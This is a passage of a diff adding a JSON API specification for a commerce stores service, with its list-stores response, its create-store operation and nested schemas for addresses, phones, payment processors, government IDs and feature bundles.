Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "description": "The createdAt of the store. This createdAt is generated internally during create store.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "defaultChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "defaultRetailChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "displayName": { + "description": "The store name (used in various displays). It is recommended to pick a different name for each store in the business.", + "maxLength": 64, + "type": "string" + }, + "emailAddress": { + "description": "The email address of the store.", + "maxLength": 64, + "type": "string" + }, + "governmentIds": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-government-id.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "GovernmentId details", + "properties": { + "createdAt": { + "description": "The time (in ISO-8601 format) at which the application was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "governmentId": { + "description": "The government id. E.g. '123456789'", + "maxLength": 64, + "minLength": 1, + "type": "string" + }, + "type": { + "description": "The type of government id. E.g. 'drivers-license'", + "maxLength": 32, + "minLength": 1, + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the application was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "governmentId", + "type" + ], + "title": "GovernmentId", + "type": "object" + }, + "maxItems": 10, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/store-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment details for a store.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "externalStoreId": { + "description": "MID (merchantId) assigned to the store by the acquirer.", + "maxLength": 64, + "type": "string" + }, + "gatewayStoreId": { + "description": "ID assigned to the store by the gateway (some gateways assign their own IDs). This field will typically not be available when the business is initially created in the Poynt system. Once that information is passed to the gateway, they will provide their ID.", + "maxLength": 64, + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "processorAdapterId": { + "deprecated": true, + "description": "The processor adapter id for the store.", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "required": [ + "externalStoreId" + ], + "title": "Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/store/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the store.", + "enum": [ + "ACTIVE", + "DISABLED", + "REMOVED" + ], + "type": "string" + }, + "subscribedBundles": { + "description": "The list of bundles this store has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "description": "The timezone of the store.", + "maxLength": 64, + "type": "string" + }, + "updatedAt": { + "description": "The updatedAt of the store. This updatedAt is set internally during store updates.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "displayName", + "businessId" + ], + "title": "Store", + "type": "object" + }, + "type": "array" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links", + "type": "array", + "x-auto-generated": true + }, + "totalItems": { + "description": "Total number of Stores matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + }, + "totalPages": { + "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + } + }, + "title": "Store List", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.store:create" + ] + }, + { + "operationId": "createStore", + "method": "POST", + "path": "/stores", + "summary": "Create a new store", + "description": "Create a new store", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/store.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Store represent a brand under a business", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "description": "The createdAt of the store. This createdAt is generated internally during create store.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "defaultChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "defaultRetailChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "displayName": { + "description": "The store name (used in various displays). It is recommended to pick a different name for each store in the business.", + "maxLength": 64, + "type": "string" + }, + "emailAddress": { + "description": "The email address of the store.", + "maxLength": 64, + "type": "string" + }, + "governmentIds": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-government-id.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "GovernmentId details", + "properties": { + "createdAt": { + "description": "The time (in ISO-8601 format) at which the application was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "governmentId": { + "description": "The government id. E.g. '123456789'", + "maxLength": 64, + "minLength": 1, + "type": "string" + }, + "type": { + "description": "The type of government id. E.g. 'drivers-license'", + "maxLength": 32, + "minLength": 1, + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the application was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "governmentId", + "type" + ], + "title": "GovernmentId", + "type": "object" + }, + "maxItems": 10, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/store-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment details for a store.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "externalStoreId": { + "description": "MID (merchantId) assigned to the store by the acquirer.", + "maxLength": 64, + "type": "string" + }, + "gatewayStoreId": { + "description": "ID assigned to the store by the gateway (some gateways assign their own IDs). This field will typically not be available when the business is initially created in the Poynt system. Once that information is passed to the gateway, they will provide their ID.", + "maxLength": 64, + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "processorAdapterId": { + "deprecated": true, + "description": "The processor adapter id for the store.", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "required": [ + "externalStoreId" + ], + "title": "Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/store/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the store.", + "enum": [ + "ACTIVE", + "DISABLED", + "REMOVED" + ], + "type": "string" + }, + "subscribedBundles": { + "description": "The list of bundles this store has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "description": "The timezone of the store.", + "maxLength": 64, + "type": "string" + }, + "updatedAt": { + "description": "The updatedAt of the store. This updatedAt is set internally during store updates.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "displayName", + "businessId" + ], + "title": "Store", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Store Created", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/store.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Store represent a brand under a business", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a 